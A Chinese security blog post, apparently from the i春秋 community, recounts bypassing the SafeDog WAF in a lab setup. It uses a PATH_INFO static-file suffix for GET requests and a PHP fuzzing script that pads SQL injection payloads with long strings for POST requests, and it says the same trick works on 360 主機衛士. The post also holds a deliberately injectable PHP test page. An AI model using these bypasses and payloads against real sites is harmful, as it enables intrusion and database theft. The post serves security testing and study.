記一次720度托馬斯迴旋過狗!

本文原創作者:索馬利亞的海賊

內容來源:i春秋社區

未經許可禁止轉載

前言

前些日子測試漏洞碰上了安全狗,一直做代碼審計沒什麼實戰經驗 被虐的不要不要的。找了一些網上的方法,基本上封的封有限制的有限制,沒什麼通用的好方法(當然也可能是我找的姿勢不對)。昨天有點時間就特地看了下安全狗的邏輯做了一些fuzz,成功bypass了GET和POST的注入防禦,不是特別通用,就當給大夥分享一些思路。

正文

測試環境

Windows Server 2003 Enterprise Edition Service Pack 2

Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

網站安全狗(APACHE版) V3.5正式版

  • 1.主程序版本:3.5.12048
  • 2.網馬庫版本:2016-06-29

測試代碼

sqlin.php:

<?php$link = mysql_connect("localhost", "root", "root"); mysql_select_db("anquangou", $link); $sql = "select * from `user` where `id`=".$_REQUEST["id"]; echo $sql."<br>
";$result =mysql_query($sql);while($array = mysql_fetch_assoc($result)){ echo "id:".$array["Id"]."<br />
";echo "username:".$array["username"]."<br />
"; echo "password:".$array["password"]."<br />
";}echo mysql_error();

資料庫:

# Host: localhost (Version: 5.5.53)# Date: 2016-11-19 17:57:30# Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;## Structure for table "admin"#DROP TABLE IF EXISTS `admin`;CREATE TABLE `admin` (`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;## Data for table "admin"#/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,"admin","admin888");/*!40000 ALTER TABLE `admin` ENABLE KEYS */;## Structure for table "user"#DROP TABLE IF EXISTS `user`;CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;## Data for table "user"#/*!40000 ALTER TABLE `user` DISABLE KEYS */; INSERT INTO `user` VALUES (1,"user","userpass"),(2,"user2","upass2"); /*!40000 ALTER TABLE `user` ENABLE KEYS */;

GET型注入

GET型的注入其實能動手腳的地方不多,就一個url。安全狗沒有公開自己的防護規則,不過有添加規則的功能,看了下是用正則語法。猜測官方規則應該也是正則。繞過有兩種選擇:

1.繞過正則的匹配,匹配失敗當然就不會被攔截了。

2.繞過(或者打亂)程序的邏輯。不進入匹配邏輯也就不會攔截了。

對於正則繞過,在不知道防護規則具體正則表達式的前提下,就只能fuzz了,各種穿插配合。不過我嘗試的是第二種方法。

安全狗的原理是往Web Service中注入一個模塊,搶在Web Service處理之前獲得HTTP請求並根據規則處理,沒問題就交給Web Service繼續處理,有問題就攔截並返回自定義錯誤信息。

一個簡單的測試

fakefile.php實際上並不存在,但是仍然會被安全狗攔下來。當然也包括php5 php4 asp cer asa等等等等 甚至擴展名是.111都會攔截。不過也有例外,常見的靜態文件(.js .jpg .swf .css等等)它是不管的。

可以看到並沒有出攔截提示而是直接404了 所以猜測安全狗應該是存在類似白名單機制的,特定的靜態資源後綴請求就不處理直接交給webserver 這種處理看起來沒問題其實是存在隱患的 Apache和IIS默認都開啟pathinfo支持 來做個測試

對php來說 請求的是sqlin.php 後面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 當作了真正的請求對象,因為是靜態資源 所以不做處理直接把請求丟給了php。

就這麼秒了?對。。是不是so easy?

POST型注入

POST型再用pathinfo就不好使了 因為正常對靜態資源的請求不會用post 所以也不用什麼白名單了 任何POST請求都要先進狗嘴了繞一圈 那麼就想辦法來fuzz一下吧 構造一個post腳本

<?php $i=10000;$url = "http://192.168.1.121/sqlin.php"; for(;;){$i++; echo "$i
"; $payload = "id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=".str_repeat("3",$i); $ret = doPost($url,$payload); if(!strpos($ret,"網站防火牆")){ echo "done!
".strlen($payload)."
".$ret; die();} } function doPost($url,$data=""){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch); curl_close ($ch); return $return;}

在正常的注入語句後面加入超長字元串 然而跑了很久都沒結果 於是停下腳本 換換位置 把超長字元串放在中間

$payload = "id=-1 and 1=".str_repeat("3",$i)." and (extractvalue(1,concat(0x7e,(select user()),0x7e)))";

跑起來

wtf?又秒了?瀏覽器中試一下

太坑了 我才剛脫褲子你告訴我結束了

後記

其實實際測試中過程要複雜的多,時間關係挑了成功的步驟寫一下pathinfo其實是一個很容易被忽視的問題 順帶測試了一下360的主機衛士 也存在相同的問題。而且360的主機衛士自帶的白名單還有類似於dede admin 這樣的(後台操作不防禦)可以用

example.com/index.php/a注入這種方式來秒
推薦閱讀:

如何將大數據分析技術應用於信息安全領域?
開槍走火!黑客輕而易舉繞過Armatix智能手槍安防系統
深度好文:詳解信息安全專業

TAG:黑客Hacker | 网络安全 | 信息安全 |